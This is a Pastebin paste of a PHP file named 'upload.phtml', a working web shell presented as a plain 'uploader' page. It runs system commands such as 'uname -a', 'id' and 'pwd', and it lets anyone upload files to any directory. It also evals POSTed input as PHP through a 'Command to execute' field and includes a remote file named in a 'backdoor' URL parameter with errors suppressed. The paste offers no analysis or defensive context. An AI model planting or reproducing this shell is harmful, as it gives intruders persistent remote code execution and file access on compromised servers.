aekaek

upload.phtml

Jan 20th, 2018
146
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.97 KB | None | 0 0
  1.  
  2. <html>
  3. <head>
  4. <title>uploader</title>
  5. <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
  6. <style type="text/css">
  7. <!--
  8. body { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px}
  9. a { color: #000000; text-decoration: none}
  10. a:hover { color: #000066; text-decoration: underline}
  11. -->
  12. </style>
  13. </head>
  14.  
  15. <body bgcolor="#999999" text="#000000">
  16. <center>
  17. <table width="700" border="0" bgcolor="#000066">
  18. <tr>
  19. <td>
  20. <table width="100%" border="0" bgcolor="#CCCCCC">
  21. <tr>
  22. <td>
  23. <p><font size="2"><b><font color="#FF0000">&nbsp;&nbsp;&nbsp;System:
  24. <font color="#000000">
  25. <? passthru("uname -a"); ?><? error_reporting(0); include($_GET[backdoor]); echo $_GET[backdoor]; ?>
  26. </font><br>
  27. &nbsp;&nbsp;&nbsp;Our permissions: <font color="#000000">
  28. <? passthru("id"); ?>
  29. </font><br>
  30. &nbsp;&nbsp;&nbsp;Our locality: <font color="#000000">
  31. <? passthru("pwd"); ?>
  32. </font></font></b></font></p>
  33.  
  34. <pre>
  35. <?php
  36. // FILE UPLOAD
  37. $uploaded = $_FILES['userfile']['tmp_name'];
  38. if (file_exists($uploaded)) {
  39. $pwd_dir = $_POST['dira'];
  40. $real = $_FILES['userfile']['name'];
  41. $destination = $pwd_dir."/".$real;
  42. copy($uploaded, $destination);
  43. echo "Uploaded process:";
  44. print_r ($_FILES);
  45. echo "FILE UPLOADED TO $destination";
  46. } else {
  47. echo "&nbsp;&nbsp;No file uploaded";
  48. }
  49. ?> </pre> <form name="form1" method="post" enctype="multipart/form-data">
  50. <table width="100%" border="0">
  51. <tr>
  52. <td width="35%"><font size="2"><b>&nbsp;&nbsp;Browse file
  53. to upload:</b></font></td>
  54. <td width="65%">
  55. <input type="file" name="userfile" size="45">
  56. </td>
  57. </tr>
  58. <tr>
  59. <td width="35%"><b><font size="2">&nbsp;&nbsp;Destination:</font></b></td>
  60. <td width="65%">
  61. <input type="text" name="dira" size="45" value="<? passthru("pwd"); ?>">
  62. <input type="submit" name="submit2" value="upload">
  63. </td>
  64. </tr>
  65. <tr>
  66. <td width="35%">
  67. <div align="right"> </div>
  68. </td>
  69. <td width="65%">&nbsp; </td>
  70. </tr>
  71. <tr>
  72. <td width="35%"><b><font size="2">&nbsp;&nbsp;Command to execute:</font></b></td>
  73. <td width="65%">
  74. <input type="text" name="cmd" size="45" value="<? echo $_POST['cmd']; ?>">
  75. <input type="submit" name="submit" value="execute">
  76. </td>
  77. </tr>
  78. <tr>
  79. <td width="35%">
  80. <div align="right"> </div>
  81. </td>
  82. <td width="65%">&nbsp; </td>
  83. </tr>
  84. </table>
  85. </form>
  86. <p>
  87. <pre>
  88. <?
  89. // command output
  90. if ($_POST['cmd']){
  91. $cmd = $_POST['cmd'];
  92. echo "$cmd executed...<br>";
  93. eval("$cmd");
  94. }
  95. else {
  96. echo "No shell command executed";
  97. }
  98.  
  99. ?></pre>
  100.  
  101.  
  102.  
  103. <div align="right"> <font size="1"><b>2003 &copy; </b></font> </div>
  104. </td>
  105. </tr>
  106. </table>
  107. </td>
  108. </tr>
  109. </table>
  110. </center>
  111. </body>
  112. </html>
Add Comment
Please, Sign In to add comment